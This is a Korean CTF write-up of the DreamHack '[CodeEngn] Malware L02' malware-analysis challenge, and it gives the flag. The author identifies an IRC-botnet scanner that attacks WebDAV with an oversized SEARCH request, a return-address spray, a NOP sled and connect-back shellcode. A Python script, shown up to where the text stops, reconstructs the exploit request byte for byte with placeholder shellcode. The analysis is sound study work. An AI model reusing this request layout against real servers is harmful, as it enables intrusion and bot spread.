[๐Ÿฅˆ Silver 4] 65,536์€ ์šฐ์—ฐ์ด ์•„๋‹ˆ์—ˆ๋‹ค โ€” DreamHack [CodeEngn] Malware L02 ํ’€์ด

2026-08-17ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅˆ Silver 4] 65,536์€ ์šฐ์—ฐ์ด ์•„๋‹ˆ์—ˆ๋‹ค โ€” DreamHack [CodeEngn] Malware L02 ํ’€์ด

์•…์„ฑ์ฝ”๋“œ ์†Œ์Šค 62์ค„๋งŒ ๋˜์ ธ์ฃผ๊ณ  "๋ฌด์—‡์„ ๊ณต๊ฒฉํ•˜๋Š”๊ฐ€"๋ฅผ ๋ฌป๋Š” ๋ฌธ์ œ. ์š”์ฒญ ๋ณธ๋ฌธ์— ๋ฐ•ํžŒ DAV: ๋„ค์ž„์ŠคํŽ˜์ด์Šค์™€ SEARCH ๋ฉ”์„œ๋“œ๊ฐ€ ๋‹ต์„ ๋ฐ˜์ฏค ์•Œ๋ ค์ฃผ์ง€๋งŒ, ํ™•์‹ ์€ ์ฝ”๋“œ๊ฐ€ ์‹ค์ œ๋กœ ๋งŒ๋“ค์–ด ๋‚ด๋Š” ๋ฐ”์ดํŠธ๋ฅผ ๊ทธ๋Œ€๋กœ ์žฌ๊ตฌ์„ฑํ–ˆ์„ ๋•Œ ์™”๋‹ค. URI ๊ธธ์ด๊ฐ€ ๋”ฑ 65,536๋ฐ”์ดํŠธ โ€” 0x10000์ด๋‹ค.

๋ฌธ์ œ: DreamHack โ€” [CodeEngn] Malware L02 ๋ถ„๋ฅ˜: Misc (์•…์„ฑ์ฝ”๋“œ ๋ถ„์„) ๋‚œ์ด๋„: ๐Ÿฅˆ Silver 4 FLAG: webdav

๋ฐ”์ด๋„ˆ๋ฆฌ๋„ ์„œ๋ฒ„๋„ ์—†๋‹ค. .cpp ํŒŒ์ผ ํ•˜๋‚˜๊ฐ€ ์ „๋ถ€๊ณ , ๋ฌผ์–ด๋ณด๋Š” ๊ฒƒ๋„ ๋”ฑ ํ•œ ์ค„์ด๋‹ค.

# show_desc.sh
#!/bin/sh
# ๋“œ๋ฆผํ•ต API ์—์„œ ์ด ๋ฌธ์ œ์˜ ์ œ๋ชฉยท๋ถ„๋ฅ˜ยท์„ค๋ช…๋งŒ ๋ฝ‘์•„ ๋ณธ๋‹ค
python3 ~/Dev/Hacking_Project/_๋„๊ตฌ/dreamhack_auto/fetch_desc.py 369 | python3 -c '
import sys, json
d = json.load(sys.stdin)
print("์ œ๋ชฉ    :", d["title"].strip())
print("๋ถ„๋ฅ˜    :", ", ".join(d["tags"]))
print("ํ‘ผ ์‚ฌ๋žŒ :", d["cnt_solvers"], "๋ช…")
print("๋ฐฐํฌํŒŒ์ผ:", ", ".join(f["name"] for f in d.get("files", [])) or "(์‘๋‹ต์— ์—†์Œ)")
print()
print("[๋ฌธ์ œ ์„ค๋ช…]")
print(d["description"].strip())
'
./show_desc.sh

๋“œ๋ฆผํ•ต API ๋กœ ๋ฐ›์€ CodeEngn Malware L02 ๋ฌธ์ œ ๋ฉ”ํƒ€ โ€” ๋ถ„๋ฅ˜ misc, 134๋ช…์ด ํ•ด๊ฒฐ, ์„ค๋ช…์€ "๋‹ค์Œ ํŒŒ์ผ์€ ์•…์„ฑ์ฝ”๋“œ ์†Œ์Šค์˜ ์ผ๋ถ€๋ถ„์ด๋‹ค. ๋ฌด์—‡์„ ๊ณต๊ฒฉํ•˜๋Š”๊ฒƒ์ธ๊ฐ€ ex ) ddos (์ •๋‹ต์€ ๋ชจ๋‘ ์†Œ๋ฌธ์ž, ๋„์–ด์“ฐ๊ธฐ ์—†์Œ)"
๋“œ๋ฆผํ•ต API ๋กœ ๋ฐ›์€ CodeEngn Malware L02 ๋ฌธ์ œ ๋ฉ”ํƒ€ โ€” ๋ถ„๋ฅ˜ misc, 134๋ช…์ด ํ•ด๊ฒฐ, ์„ค๋ช…์€ "๋‹ค์Œ ํŒŒ์ผ์€ ์•…์„ฑ์ฝ”๋“œ ์†Œ์Šค์˜ ์ผ๋ถ€๋ถ„์ด๋‹ค. ๋ฌด์—‡์„ ๊ณต๊ฒฉํ•˜๋Š”๊ฒƒ์ธ๊ฐ€ ex ) ddos (์ •๋‹ต์€ ๋ชจ๋‘ ์†Œ๋ฌธ์ž, ๋„์–ด์“ฐ๊ธฐ ์—†์Œ)"

์˜ˆ์‹œ๋กœ ์ค€ ddos๋Š” ๊ฐ™์€ ์‹œ๋ฆฌ์ฆˆ Malware L01์˜ ์ •๋‹ต์ด๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ํ˜•์‹์€ ํ™•์‹คํ•˜๋‹ค โ€” ์†Œ๋ฌธ์ž ํ•œ ๋‹จ์–ด. ๋ฌธ์ œ๋Š” ์ด ์ฝ”๋“œ๊ฐ€ ๊ฒจ๋ˆ„๋Š” ๊ฒŒ ์ •ํ™•ํžˆ ๋ฌด์—‡์ด๋ƒ๋‹ค.


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…[CodeEngn] Malware L02
๋‚œ์ด๋„๐Ÿฅˆ Silver 4
๋ถ„๋ฅ˜Misc / ์•…์„ฑ์ฝ”๋“œ ๋ถ„์„
์ œ๊ณต ํŒŒ์ผ24FFA091.cpp โ€” 3,154๋ฐ”์ดํŠธ, 62์ค„, CRLF
๋‹ต์˜ ํ˜•์‹์†Œ๋ฌธ์žยท๊ณต๋ฐฑ ์—†์Œ ํ•œ ๋‹จ์–ด
ํ•ต์‹ฌ ํŒ๋‹จ์š”์ฒญ ๋ณธ๋ฌธ์˜ DAV: ๋„ค์ž„์ŠคํŽ˜์ด์Šค + 64KB์งœ๋ฆฌ SEARCH URI


๐Ÿ”ฌ ์ •์ฐฐ โ€” 62์ค„์ด ์ „๋ถ€๋‹ค

file extracted/24FFA091.cpp && wc -lc extracted/24FFA091.cpp && sha256sum extracted/24FFA091.cpp

fileยทwcยทsha256sum ์ถœ๋ ฅ โ€” 24FFA091.cpp ๋Š” CRLF ์ค„๋ฐ”๊ฟˆ์˜ C ์†Œ์Šค, 62์ค„ 3154๋ฐ”์ดํŠธ, sha256 d997e0f1..
fileยทwcยทsha256sum ์ถœ๋ ฅ โ€” 24FFA091.cpp ๋Š” CRLF ์ค„๋ฐ”๊ฟˆ์˜ C ์†Œ์Šค, 62์ค„ 3154๋ฐ”์ดํŠธ, sha256 d997e0f1..

์ปดํŒŒ์ผ๋˜๋Š” ์™„๊ฒฐ ํ”„๋กœ๊ทธ๋žจ์ด ์•„๋‹ˆ๋‹ค. CString, g_cMainCtrl, xWrite ๊ฐ™์€ ์ด๋ฆ„๋“ค์ด ์„ ์–ธ ์—†์ด ํŠ€์–ด๋‚˜์˜ค๋Š” ๊ฑธ ๋ณด๋ฉด ํฐ ํ”„๋กœ์ ํŠธ์—์„œ ํŒŒ์ผ ํ•˜๋‚˜๋งŒ ์ž˜๋ผ๋‚ธ ์กฐ๊ฐ์ด๋‹ค. ๊ทธ๋ž˜์„œ ๋„๊ตฌ๋ฅผ ๋Œ๋ฆด ๊ฒŒ ์—†๊ณ , ์ฝ๋Š” ์ˆ˜๋ฐ–์— ์—†๋‹ค.

cat -n extracted/24FFA091.cpp | sed -n 1,22p

์†Œ์Šค 1~22ํ–‰ โ€” body[] ์— XML ์š”์ฒญ์ด ๋“ค์–ด ์žˆ๊ณ  StartScan ์€ 80 ํฌํŠธ๋ฅผ ํ™•์ธํ•œ ๋’ค Exploit ์„ ๋ถ€๋ฅธ๋‹ค
์†Œ์Šค 1~22ํ–‰ โ€” body[] ์— XML ์š”์ฒญ์ด ๋“ค์–ด ์žˆ๊ณ  StartScan ์€ 80 ํฌํŠธ๋ฅผ ํ™•์ธํ•œ ๋’ค Exploit ์„ ๋ถ€๋ฅธ๋‹ค

์ฒซ ๋„ค ์ค„๋ถ€ํ„ฐ ๋‹ต์˜ ์ ˆ๋ฐ˜์ด ๋‚˜์™€ ์žˆ๋‹ค.

char body[]=
	"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n"
	"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n"
	"</g:searchrequest>\r\n";

๊ทธ๋ฆฌ๊ณ  StartScan์€ ์ด ๋ชจ๋“ˆ์ด ๋ฌด์—‡์„ ๋…ธ๋ฆฌ๋Š”์ง€ ํ•œ ์ค„๋กœ ๋งํ•ด ์ค€๋‹ค.

if(ScanPort(sHost.CStr(), 80))
{	g_cMainCtrl.m_cIRC.SendFormat(..., "%s: scanning ip %s:80.", ...);
	bSuccess=Exploit(sHost); }

80 ํฌํŠธ๊ฐ€ ์—ด๋ ค ์žˆ์„ ๋•Œ๋งŒ Exploit์œผ๋กœ ๋„˜์–ด๊ฐ„๋‹ค. ์›น ์„œ๋ฒ„๊ฐ€ ํ‘œ์ ์ด๋‹ค.


๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” SEARCH๋Š” HTTP๊ฐ€ ์•„๋‹ˆ๋ผ WebDAV์˜ ๋ฉ”์„œ๋“œ๋‹ค

GETยทPOSTยทHEAD๋Š” HTTP ํ‘œ์ค€ ๋ฉ”์„œ๋“œ์ง€๋งŒ SEARCH๋Š” ์•„๋‹ˆ๋‹ค. WebDAV(RFC 4918 ๊ณ„์—ด)๊ฐ€ HTTP ์œ„์— ์–น์€ ํ™•์žฅ ๋ฉ”์„œ๋“œ๊ณ , ์„œ๋ฒ„ ์ชฝ ์ €์žฅ์†Œ๋ฅผ ์งˆ์˜ํ•  ๋•Œ ์“ด๋‹ค. ๊ทธ ์งˆ์˜๋ฌธ์€ ๋ณธ๋ฌธ์— XML๋กœ ์‹ค์–ด ๋ณด๋‚ด๋Š”๋ฐ, ๋„ค์ž„์ŠคํŽ˜์ด์Šค๊ฐ€ DAV: ๋ผ๋Š” ๊ฒŒ ๊ฒฐ์ •์ ์ธ ํ‘œ์‹์ด๋‹ค.

grep -n -E "DAV:|searchrequest|g:sql|SEARCH /" extracted/24FFA091.cpp

grep ์ถœ๋ ฅ โ€” 2ยท3ยท4ํ–‰์— DAV: ๋„ค์ž„์ŠคํŽ˜์ด์Šค์™€ g:searchrequestยทg:sql ์ด ์žˆ๊ณ  44ํ–‰์—์„œ strcpy ๋กœ "SEARCH /" ๋ฅผ ์“ด๋‹ค
grep ์ถœ๋ ฅ โ€” 2ยท3ยท4ํ–‰์— DAV: ๋„ค์ž„์ŠคํŽ˜์ด์Šค์™€ g:searchrequestยทg:sql ์ด ์žˆ๊ณ  44ํ–‰์—์„œ strcpy ๋กœ "SEARCH /" ๋ฅผ ์“ด๋‹ค

Select "DAV:displayname" from scope()๋Š” WebDAV SEARCH์˜ ๊ต๊ณผ์„œ์ ์ธ ์งˆ์˜๋ฌธ์ด๋‹ค. ์ฆ‰ ์ด ์ฝ”๋“œ๋Š” ๋Œ€์ƒ ์›น ์„œ๋ฒ„์˜ WebDAV ํ™•์žฅ์— ๋ง์„ ๊ฑธ๊ณ  ์žˆ๋‹ค.

์—ฌ๊ธฐ๊นŒ์ง€๋งŒ ๋ด๋„ webdav๊ฐ€ ์œ ๋ ฅํ•˜๋‹ค. ๋‹ค๋งŒ "์›น ์„œ๋ฒ„๋ฅผ ๊ณต๊ฒฉํ•œ๋‹ค"๋Š” ๊ฒƒ๊ณผ "WebDAV๋ฅผ ๊ณต๊ฒฉํ•œ๋‹ค"๋Š” ๊ฑด ๋‹ค๋ฅธ ๋‹ต์ด๋ผ, ๋ณธ๋ฌธ XML๋งŒ ๋ณด๊ณ  ๋‹จ์ •ํ•˜๊ธฐ๋Š” ์•„์ง ์ด๋ฅด๋‹ค. WebDAV ์งˆ์˜๋ฌธ์€ ๊ทธ๋ƒฅ ๋ง์„ ๊ฑธ๊ธฐ ์œ„ํ•œ ๊ป๋ฐ๊ธฐ์ผ ์ˆ˜๋„ ์žˆ์œผ๋‹ˆ๊นŒ.


๐Ÿ•น๏ธ ์ด ํŒŒ์ผ์€ ๋ด‡๋„ท์˜ ์Šค์บ๋„ˆ ๋ชจ๋“ˆ์ด๋‹ค

๋‹ต์„ ํ™•์ •ํ•˜๊ธฐ ์ „์—, ์ด ์ฝ”๋“œ๊ฐ€ ์–ด๋””์— ์–นํ˜€ ์žˆ๋Š”์ง€๋ถ€ํ„ฐ ๋ณด๋Š” ๊ฒŒ ์ˆœ์„œ๋‹ค.

grep -n -E "g_cMainCtrl|m_cIRC|bot_ftrans_port|CScanner|ScanPort|setup_shellcode" extracted/24FFA091.cpp

grep ์ถœ๋ ฅ โ€” CScannerMalware_L02 ํด๋ž˜์Šค, g_cMainCtrl.m_cIRC.SendFormat ์œผ๋กœ IRC ์ฑ„๋„์— ๋ณด๊ณ , bot_ftrans_port ์™€ setup_shellcode ํ˜ธ์ถœ์ด ๋ณด์ธ๋‹ค
grep ์ถœ๋ ฅ โ€” CScannerMalware_L02 ํด๋ž˜์Šค, g_cMainCtrl.m_cIRC.SendFormat ์œผ๋กœ IRC ์ฑ„๋„์— ๋ณด๊ณ , bot_ftrans_port ์™€ setup_shellcode ํ˜ธ์ถœ์ด ๋ณด์ธ๋‹ค

  • CScannerMalware_L02 โ€” ํด๋ž˜์Šค ์ด๋ฆ„๋ถ€ํ„ฐ ์Šค์บ๋„ˆ๋‹ค. ๋ฌธ์ œ ์ถœ์ œ์ž๊ฐ€ ์›๋ž˜ ํด๋ž˜์Šค๋ช…์„ Malware_L02๋กœ ๋ฐ”๊ฟ” ๋†“์•˜๋‹ค.
  • g_cMainCtrl.m_cIRC.SendFormat(...) โ€” ์ง„ํ–‰ ์ƒํ™ฉ์„ IRC ์ฑ„๋„๋กœ ๋ณด๊ณ ํ•œ๋‹ค. scanning ip %s:80., exploited ip %s. ๋‘ ์ค„์ด ๊ทธ๋Œ€๋กœ ๋“ค์–ด ์žˆ๋‹ค.
  • g_cMainCtrl.m_cBot.bot_ftrans_port.iValue โ€” ๋ด‡์ด ๋„์›Œ ๋‘” ํŒŒ์ผ ์ „์†ก ํฌํŠธ ๋ฒˆํ˜ธ๋ฅผ ์‰˜์ฝ”๋“œ์— ์‹ฌ๋Š”๋‹ค.
  • setup_shellcode(..., Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, ...) โ€” ์‰˜์ฝ”๋“œ ์•ˆ์˜ ํฌํŠธยทIP ์ž๋ฆฌ๋ฅผ ๋Ÿฐํƒ€์ž„์— ๋ฎ์–ด์“ด๋‹ค. ์—ฐ๊ฒฐ๋ณต๊ท€ํ˜• ๋‹ค์šด๋กœ๋”๋ผ๋Š” ๋œป์ด๋‹ค.

์ „์—ญ ์ปจํŠธ๋กค๋Ÿฌ(g_cMainCtrl)ยทIRC ๋ชจ๋“ˆยทCScanner* ์„œ๋ธŒํด๋ž˜์Šคยท์„ค์ •๊ฐ’ ๊ฐ์ฒด(bot_ftrans_port.iValue)๋ผ๋Š” ์กฐํ•ฉ์€ 2000๋…„๋Œ€ ์ดˆ Agobot/Phatbot ๊ณ„์—ด ๋ด‡ ์†Œ์Šค์˜ ๊ตฌ์กฐ ๊ทธ๋Œ€๋กœ๋‹ค. ์ •ํ™•ํ•œ ๊ณ„๋ณด๋ฅผ ์ด ์กฐ๊ฐ๋งŒ์œผ๋กœ ๋ชป ๋ฐ•์„ ์ˆ˜๋Š” ์—†์ง€๋งŒ, IRC๋กœ ์กฐ์ข…๋˜๋Š” ๋ด‡์˜ ์ž๊ฐ€์ „ํŒŒ ๋ชจ๋“ˆ์ด๋ผ๋Š” ๊ฑด ์ฝ”๋“œ์— ๊ทธ๋Œ€๋กœ ์ ํ˜€ ์žˆ๋‹ค.

IsPrivate() ๋‘ ๋ฒˆ ํ˜ธ์ถœ๋„ ์žฌ๋ฏธ์žˆ๋‹ค.

if(IsPrivate(g_cMainCtrl.m_cIRC.m_sLocalIp.CStr()) && !IsPrivate(sHost.CStr()))
	iShellSize=setup_shellcode(..., inet_addr(g_cMainCtrl.m_cIRC.m_sLocalHost.CStr()), ...);
else
	iShellSize=setup_shellcode(..., g_cMainCtrl.m_cIRC.m_lLocalAddr, ...);

์ž๊ธฐ๋Š” ์‚ฌ์„ค๋ง์ธ๋ฐ ํ‘œ์ ์ด ๊ณต์ธ๋ง์ด๋ฉด ๋˜๋Œ์•„์˜ฌ ์ฃผ์†Œ๋ฅผ ๋‹ค๋ฅด๊ฒŒ ์žก๋Š”๋‹ค. NAT ๋’ค์—์„œ๋„ ๊ฐ์—ผ์„ ์ด์–ด๊ฐ€๋ ค๋Š” ๋ฐฐ๋ ค๋‹ค.

๋ด‡๋„ท ์•ˆ์—์„œ ์ด ์Šค์บ๋„ˆ ๋ชจ๋“ˆ์ด ๋„๋Š” ํ•œ ๋ฐ”ํ€ด โ€” IRC ๋ช…๋ น ์ˆ˜์‹ , 80 ํฌํŠธ ํ™•์ธ, SEARCH 64KB ์ „์†ก, ํ‘œ์ ์˜ ์‰˜์ฝ”๋“œ๊ฐ€ ftrans ํฌํŠธ๋กœ ์—ฐ๊ฒฐ๋ณต๊ท€ํ•ด ๋ด‡์„ ๋‚ด๋ ค๋ฐ›๊ณ , exploited ip ๋ฅผ IRC ๋กœ ๋ณด๊ณ 
๋ด‡๋„ท ์•ˆ์—์„œ ์ด ์Šค์บ๋„ˆ ๋ชจ๋“ˆ์ด ๋„๋Š” ํ•œ ๋ฐ”ํ€ด โ€” IRC ๋ช…๋ น ์ˆ˜์‹ , 80 ํฌํŠธ ํ™•์ธ, SEARCH 64KB ์ „์†ก, ํ‘œ์ ์˜ ์‰˜์ฝ”๋“œ๊ฐ€ ftrans ํฌํŠธ๋กœ ์—ฐ๊ฒฐ๋ณต๊ท€ํ•ด ๋ด‡์„ ๋‚ด๋ ค๋ฐ›๊ณ , exploited ip ๋ฅผ IRC ๋กœ ๋ณด๊ณ 


๐Ÿ› ์‚ฝ์งˆ โ€” URI ๊ธธ์ด๋ฅผ 65,535๋กœ ์…Œ๋‹ค

์—ฌ๊ธฐ์„œ ํ•œ ๋ฒˆ ์ž˜๋ชป ์„ธ๊ณ  ๋„˜์–ด๊ฐ”๋‹ค (ํŽผ์น˜๊ธฐ)

์š”์ฒญ์„ ์กฐ๋ฆฝํ•˜๋Š” ๋ถ€๋ถ„์„ ์ฒ˜์Œ ์ฝ์—ˆ์„ ๋•Œ, ๋‚˜๋Š” URI ๊ธธ์ด๋ฅผ 65,535๋ฐ”์ดํŠธ๋กœ ์ ์–ด ๋’€๋‹ค. for(;j<i+65535-strlen(jumpcode);j++)๋ผ๊ณ  65535๊ฐ€ ๋ˆˆ์— ๋Œ€๋†“๊ณ  ๋ฐ•ํ˜€ ์žˆ์œผ๋‹ˆ ๊ทธ๋ ‡๊ฒŒ ์ฝ๋Š” ๊ฒŒ ์ž์—ฐ์Šค๋Ÿฝ๋‹ค.

๊ทธ๋Ÿฐ๋ฐ ๋ฐ”์ดํŠธ๋กœ ์žฌ๊ตฌ์„ฑํ•ด ๋ณด๋‹ˆ 65,536์ด ๋‚˜์™”๋‹ค. ์ฐจ์ด๋Š” ์Šฌ๋ž˜์‹œ ํ•˜๋‚˜๋‹ค.

strcpy(szReqBuf, "SEARCH /");        // 8๋ฐ”์ดํŠธ โ€” ๋งˆ์ง€๋ง‰ ๊ธ€์ž๊ฐ€ '/' ๋‹ค
int j, i=strlen(szReqBuf);           // i = 8

URI๋Š” "SEARCH " ๋‹ค์Œ์˜ /๋ถ€ํ„ฐ ์‹œ์ž‘ํ•œ๋‹ค. ๊ทธ /๊ฐ€ ์˜คํ”„์…‹ 7์— ์žˆ๊ณ , ๋’ค์— 65,535๋ฐ”์ดํŠธ๊ฐ€ ๋” ๋ถ™๋Š”๋‹ค. ๊ทธ๋ž˜์„œ URI๋Š” 1 + 65535 = 65536 โ€” ์ •ํ™•ํžˆ 0x10000์ด๋‹ค.

1๋ฐ”์ดํŠธ ์ฐจ์ด๊ฐ€ ์ด ๋ฌธ์ œ์˜ ์ „๋ถ€์˜€๋‹ค. 65,535์˜€๋‹ค๋ฉด "๊ทธ๋ƒฅ ์•„์ฃผ ๊ธด URI"์ง€๋งŒ, 65,536์ด๋ฉด 64KB ๊ฒฝ๊ณ„๋ฅผ ์ •ํ™•ํžˆ ๋„˜๊ธฐ๋ ค๊ณ  ๊ณ„์‚ฐํ•ด์„œ ๋งž์ถ˜ ์ˆซ์ž๋‹ค. ์šฐ์—ฐํžˆ ํฐ ๊ฐ’์„ ๊ณ ๋ฅธ ๊ฒŒ ์•„๋‹ˆ๋ผ ํŠน์ • ๋ฒ„ํผ ํฌ๊ธฐ๋ฅผ ๋…ธ๋ ธ๋‹ค๋Š” ์ฆ๊ฑฐ๊ณ , ๊ทธ๋•Œ๋ถ€ํ„ฐ ๋‹ต์ด iis(์ œํ’ˆ)๊ฐ€ ์•„๋‹ˆ๋ผ webdav(๊ทธ ์ œํ’ˆ์˜ ์–ด๋А ๋ถ€๋ถ„)์—ฌ์•ผ ํ•œ๋‹ค๋Š” ํ™•์‹ ์ด ์„ฐ๋‹ค.

์ฝ๊ธฐ๋งŒ ํ•˜๊ณ  ๋„˜์–ด๊ฐ”์œผ๋ฉด ๋ชป ๋ดค์„ ๊ฒƒ์ด๋‹ค. ์งง์€ ์ฝ”๋“œ์ผ์ˆ˜๋ก ์‹ค์ œ๋กœ ๋Œ๋ ค ๋ณด๋Š” ๊ฒŒ ์‹ธ๊ฒŒ ๋จนํžŒ๋‹ค.



๐Ÿ’ฃ ํ•ต์‹ฌ โ€” ์ด ์ฝ”๋“œ๊ฐ€ ๋ฑ‰๋Š” ๋ฐ”์ดํŠธ๋ฅผ ๊ทธ๋Œ€๋กœ ๋งŒ๋“ค์–ด ๋ณธ๋‹ค

Exploit() ๋’ท๋ถ€๋ถ„์ด ์š”์ฒญ์„ ์กฐ๋ฆฝํ•˜๋Š” ์ž๋ฆฌ๋‹ค.

cat -n extracted/24FFA091.cpp | sed -n 39,56p

์†Œ์Šค 39~56ํ–‰ โ€” NOP ์Šฌ๋ ˆ๋“œ์™€ ์‰˜์ฝ”๋“œ๋ฅผ szSCBuf ์— ์ฑ„์šฐ๊ณ , szReqBuf ์— SEARCH / + ret ์Šคํ”„๋ ˆ์ด + NOP + jumpcode ๋ฅผ ์Œ“์€ ๋’ค HTTP ํ—ค๋”์™€ body ๋ฅผ ๋ถ™์ธ๋‹ค
์†Œ์Šค 39~56ํ–‰ โ€” NOP ์Šฌ๋ ˆ๋“œ์™€ ์‰˜์ฝ”๋“œ๋ฅผ szSCBuf ์— ์ฑ„์šฐ๊ณ , szReqBuf ์— SEARCH / + ret ์Šคํ”„๋ ˆ์ด + NOP + jumpcode ๋ฅผ ์Œ“์€ ๋’ค HTTP ํ—ค๋”์™€ body ๋ฅผ ๋ถ™์ธ๋‹ค

์ฝ๋Š” ๊ฒƒ๋ณด๋‹ค ๊ทธ๋Œ€๋กœ ์˜ฎ๊ฒจ ์‹คํ–‰ํ•˜๋Š” ๊ฒŒ ํ™•์‹คํ•˜๋‹ค. C ์ฝ”๋“œ๋ฅผ ํ•œ ์ค„์”ฉ ํŒŒ์ด์ฌ์œผ๋กœ ๋ฒ ๊ผˆ๋‹ค. jumpcode์™€ Malware_L02_shellcode๋Š” ์ด ๋ฐœ์ทŒ์— ์—†๋Š” ์™ธ๋ถ€ ์‹ฌ๋ณผ์ด๋ผ ๊ธธ์ด๋งŒ ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ๋‘๊ณ  ์ž๋ฆฌํ‘œ์‹œ ๋ฐ”์ดํŠธ๋ฅผ ์ฑ„์› ๋‹ค โ€” ์ถœ๋ ฅ์—์„œ๋„ ์™ธ๋ถ€์‹ฌ๋ณผ๋กœ ํ‘œ์‹œํ•œ๋‹ค.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
[CodeEngn] Malware L02 โ€” 24FFA091.cpp ์˜ Exploit() ๊ฐ€ ์‹ค์ œ๋กœ ๋งŒ๋“ค์–ด ๋‚ด๋Š” ๋ฐ”์ดํŠธ์—ด์„ ๊ทธ๋Œ€๋กœ ์žฌ๊ตฌ์„ฑํ•œ๋‹ค.
 
C++ ์›๋ณธ์„ ํ•œ ์ค„์”ฉ ๊ทธ๋Œ€๋กœ ์˜ฎ๊ฒผ๋‹ค. ์™ธ๋ถ€ ์‹ฌ๋ณผ(jumpcode / Malware_L02_shellcode)์€ ์ด ๋ฐœ์ทŒ์— ์—†์œผ๋ฏ€๋กœ
๊ธธ์ด๋งŒ ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ๋‘๊ณ  ์ž๋ฆฌํ‘œ์‹œ ๋ฐ”์ดํŠธ๋ฅผ ์ฑ„์šด๋‹ค โ€” ๊ทธ ์ž๋ฆฌ๋Š” ์ถœ๋ ฅ์—์„œ '์™ธ๋ถ€์‹ฌ๋ณผ'๋กœ ํ‘œ์‹œํ•œ๋‹ค.
"""
import sys
 
# โ”€โ”€ ์›๋ณธ์˜ body[] ์ƒ์ˆ˜ (24FFA091.cpp 1~4ํ–‰) ๋ฅผ ๊ทธ๋Œ€๋กœ ์˜ฎ๊ธด ๊ฒƒ โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
BODY = (
    b'<?xml version="1.0"?>\r\n<g:searchrequest xmlns:g="DAV:">\r\n'
    b'<g:sql>\r\nSelect "DAV:displayname" from scope()\r\n'
    b'</g:sql>\r\n'
    b'</g:searchrequest>\r\n'
)
 
RET = 0xB102          # unsigned short ret=0xB102;
NOP_SIZE = 100        # iNOPSize=100
HOST = "192.0.2.10"   # sHost โ€” ๋ฌธ์„œ์šฉ ์˜ˆ์•ฝ๋Œ€์—ญ(RFC 5737)
 
# ์ด ๋ฐœ์ทŒ์— ์—†๋Š” ์™ธ๋ถ€ ์‹ฌ๋ณผ. ๊ธธ์ด๋งŒ ๊ฐ€์ •ํ•˜๊ณ  ์ž๋ฆฌํ‘œ์‹œ๋กœ ์ฑ„์šด๋‹ค.
JUMPCODE_LEN = 8      # strlen(jumpcode)
SHELLCODE_LEN = 344   # iShellSize = setup_shellcode(...) ์˜ ๋ฐ˜ํ™˜๊ฐ’
JUMPCODE = b"\xE9" + b"\xCC" * (JUMPCODE_LEN - 1)
SHELLCODE = b"\xCC" * SHELLCODE_LEN
 
 
def build():
    buf = bytearray(100000)                       # malloc(100000) + memset(...,0,100000)
 
    # strcpy(szReqBuf, "SEARCH /");
    buf[0:8] = b"SEARCH /"
    i = 8                                          # i = strlen(szReqBuf)
 
    # szReqBuf[i]='\x90';
    buf[i] = 0x90
 
    # for(j=i+1; j<i+2150; j+=2) memcpy(szReqBuf+j, &ret, 2);
    ret_le = RET.to_bytes(2, "little")             # 0xB102 โ†’ 02 B1
    j = i + 1
    spray_start, spray_n = j, 0
    while j < i + 2150:
        buf[j:j + 2] = ret_le
        spray_n += 1
        j += 2
    spray_end = j                                  # ๋งˆ์ง€๋ง‰ 2๋ฐ”์ดํŠธ ์“ฐ๊ธฐ๊ฐ€ ๋๋‚œ ๋‹ค์Œ ์œ„์น˜
 
    # for(;j<i+65535-strlen(jumpcode);j++) szReqBuf[j]='\x90';
    sled_start = j
    while j < i + 65535 - len(JUMPCODE):
        buf[j] = 0x90
        j += 1
    sled_end = j
 
    # memcpy(szReqBuf+j, jumpcode, strlen(jumpcode));
    buf[j:j + len(JUMPCODE)] = JUMPCODE
    uri_total = j + len(JUMPCODE)                  # ์š”์ฒญ๋ผ์ธ์˜ URI ๋
 
    def slen():                                    # strcat/sprintf ๊ฐ€ ์“ฐ๋Š” strlen โ€” ์ฒซ NUL ๊นŒ์ง€
        return buf.index(0)
 
    # strcat(szReqBuf, " HTTP/1.1\r\n");
    p = slen(); tail = b" HTTP/1.1\r\n"; buf[p:p + len(tail)] = tail
 
    # sprintf(szReqBuf+strlen(szReqBuf), "Host: %s\r\n...Content-Length: %d\r\n\r\n", ...)
    declared = len(BODY) + len(SHELLCODE)          # strlen(body)+iShellSize
    hdr = ("Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n"
           % (HOST, declared)).encode()
    p = slen(); buf[p:p + len(hdr)] = hdr
 
    # strcat(szReqBuf, body);
    p = slen(); buf[p:p + len(BODY)] = BODY
 
    # memset(szReqBuf+strlen(szReqBuf), 0x01, 1);
    p = slen(); buf[p] = 0x01
    # memset(szReqBuf+strlen(szReqBuf), 0x90, 3);
    p = slen(); buf[p:p + 3] = b"\x90" * 3
    # memcpy(szReqBuf+strlen(szReqBuf), szSCBuf, iSCSize);   szSCBuf = NOP*100 + shellcode
    sc = b"\x90" * NOP_SIZE + SHELLCODE
    p = slen(); sc_at = p; buf[p:p + len(sc)] = sc
 
    # iReqSize=strlen(szReqBuf);
    req_size = slen()
    req = bytes(buf[:req_size])
 
    return req, dict(uri_total=uri_total, spray_start=spray_start, spray_n=spray_n,
                     spray_end=spray_end, sled_start=sled_start, sled_end=sled_end,
                     declared=declared, sc_at=sc_at, sc_len=len(sc), req_size=req_size)
 
 
def main():
    req, m = build()
    uri = req[7:m["uri_total"]]                    # '/' ๋ถ€ํ„ฐ URI ๋๊นŒ์ง€
 
    print("[๊ตฌ์กฐ] 24FFA091.cpp Exploit() ๊ฐ€ ์†Œ์ผ“์œผ๋กœ ๋‚ด๋ณด๋‚ด๋Š” ๋ฐ”์ดํŠธ")
    print("  ์š”์ฒญ ๋ฉ”์„œ๋“œ            : %s" % req[:8].decode())
    print("  URI ๊ธธ์ด               : %d ๋ฐ”์ดํŠธ (0x%X)  <-- '/' ํฌํ•จ" % (len(uri), len(uri)))
